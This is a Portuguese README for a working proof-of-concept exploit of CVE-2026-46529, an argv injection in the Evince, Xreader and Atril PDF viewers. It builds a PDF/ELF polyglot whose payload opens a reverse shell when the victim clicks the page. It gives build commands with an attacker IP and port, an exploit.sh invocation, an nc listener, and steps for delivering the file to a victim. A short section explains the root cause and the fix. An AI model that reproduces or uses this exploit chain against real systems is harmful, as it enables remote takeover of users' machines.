
Evince/xreader/Atril RCE exploit to CVE-2026-46529
Prova de conceito funcional para a injeção de argv em ev_spawn() (shell/ev-application.c). Um único clique em qualquer lugar da página renderizada de um PDF adulterado desencadeia a execução arbitrária de código como o usuário que está executando o visualizador.
Esta versão utiliza a técnica de substituição %f: o caminho alvo do dlopen é descoberto pelo próprio visualizador em tempo de execução, então o atacante não precisa de nenhum conhecimento sobre onde o poliglota cai no sistema de arquivos da vítima (sem nome de usuário, sem $HOME, sem diretório de download).
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| File | Purpose |
|---|---|
exploit.sh | Wrapper de uso único: compila + constrói poliglota em um único comando. |
evil_gtk_module.c | Código-fonte da carga útil. O construtor abre um shell reverso e cria um marcador em /tmp/PWNED_atril_<pid>.txt. |
build_polyglot.py | Construtor de poliglota. Combina um evil.so compilado com um corpo de PDF mínimo contendo a ação /GoToR e o contrabando %f. |
Você deve compilar em um host Linux que corresponda à arquitetura da vítima. evil_gtk_module.c é portável entre arquiteturas; o ELF resultante é específico da arquitetura. O macOS não pode produzir o .so porque o linker da Apple não aceita flags GNU build-id.
ev_spawn() constrói a linha de comando do processo filho interpolando as strings /D (destino nomeado) e /F (especificação de arquivo) do PDF sem g_shell_quote. O resultado é analisado de volta em argv por g_app_info_create_from_commandline → g_shell_parse_argv. Criar /D com um espaço à esquerda e --gtk-module=... faz com que o visualizador filho receba --gtk-module= como um elemento argv independente, que gtk_init() honra via g_module_open() (ou seja, dlopen). Qualquer construtor no ELF carregado é executado como a vítima.
O poliglota é um único arquivo que é simultaneamente um PDF válido e uma biblioteca compartilhada ELF válida — o marcador %PDF-1.4 é estampado dentro do slot SHA1 .note.gnu.build-id (offset 0x1d8), que o poppler aceita porque escaneia os primeiros 1024 bytes pelo magic e o ld.so aceita porque o conteúdo do build-id é informacional.
O truque %f (esta versão) fecha a última peça. Em vez de codificar o caminho do poliglota dentro do PDF, incorporamos o placeholder %f da glib. A função g_app_info_launch_uris da glib substitui %f pela forma de caminho local da URI que o atril resolveu em tempo de execução via g_path_get_dirname(source_uri) + /F.basename. O argv do filho gerado acaba contendo --gtk-module=<caminho-real-em-tempo-de-execução>, dlopen tem sucesso, RCE.
/F é definido como <basename>?1 em vez de apenas <basename> porque ev_application_open_uri_at_dest() entra em curto-circuito e apenas navega (em vez de gerar um processo filho) quando a URI /F resolvida é igual à URI de origem. A sequência de consulta final torna a URI distinta; a função g_filename_from_uri da glib a remove ao construir %f.
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
Saída: report.pdf com o alvo do shell reverso embutido. Implante na vítima com o mesmo nome base (qualquer diretório), inicie um listener, faça com que ela o abra no atril e clique em qualquer lugar da página.
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
O nome base incorporado em /F é derivado do nome do arquivo de saída, então o poliglota espera ser implantado como report.pdf. O diretório não importa — o atril resolve o caminho completo em tempo de execução através da substituição %f. A anotação de Link cobre toda a MediaBox, então qualquer clique dispara a ação. Um arquivo marcador também é escrito em /tmp/PWNED_atril_<pid>.txt.
exploit.shExemplo de compilação cruzada (construir poliglota aarch64 em host x86_64):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh)Se você quiser controle total sobre cada etapa:
Compile evil.so com seu IP/porta.
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
Construa o poliglota.
python3 build_polyglot.py evil.so <output.pdf>
O nome base incorporado em /F é derivado do nome do arquivo de saída. Implante o poliglota na vítima com o mesmo nome base — o diretório não importa, o atril o resolve em tempo de execução.
Confirmado:
O código vulnerável (ev_spawn e o caminho de abertura /GoToR) é compartilhado entre os três. O evince upstream tem o mesmo bug; a única diferença nas versões mais recentes do evince é que o GTK4 removeu a flag de linha de comando --gtk-module=, o que fecha este sink específico de dlopen. As compilações do evince contra GTK3 (a maioria das distribuições LTS no momento da escrita) permanecem vulneráveis.
O bug existe desde o início dos anos 2010, quando a construção da linha de comando ev_spawn foi escrita. A correção é direta: envolver cada componente controlado pelo atacante em g_shell_quote antes de g_string_append_printf, ou mudar para passar argv como uma lista para g_spawn_async (evitando completamente a ida e volta da análise do shell).
Preservação do nome do arquivo. O nome base incorporado em /F deve corresponder ao nome do arquivo que o poliglota tem no disco da vítima no momento do disparo. Se a vítima renomear o arquivo antes de abrir, o atril resolve /F para um caminho inexistente e dlopen falha.
GTK4. As versões mais recentes do evince compiladas com GTK4 removeram a flag de linha de comando --gtk-module=, o que fecha este sink específico de dlopen. A injeção de argv em si ainda está presente — apenas este caminho de exploração particular é mitigado pelo GTK4.
J.Medeiros
| Option | Description |
|---|
-o, --output FILE | Caminho do PDF de saída (padrão: polyglot.pdf) |
--ip IP | IP alvo do shell reverso (padrão: 127.0.0.1) |
--port PORT | Porta alvo do shell reverso (padrão: 9000) |
--cc COMPILER | Compilador C (padrão: gcc, env: CC) |
--keep-so | Não excluir evil.so após a compilação |
-h, --help | Mostrar uso |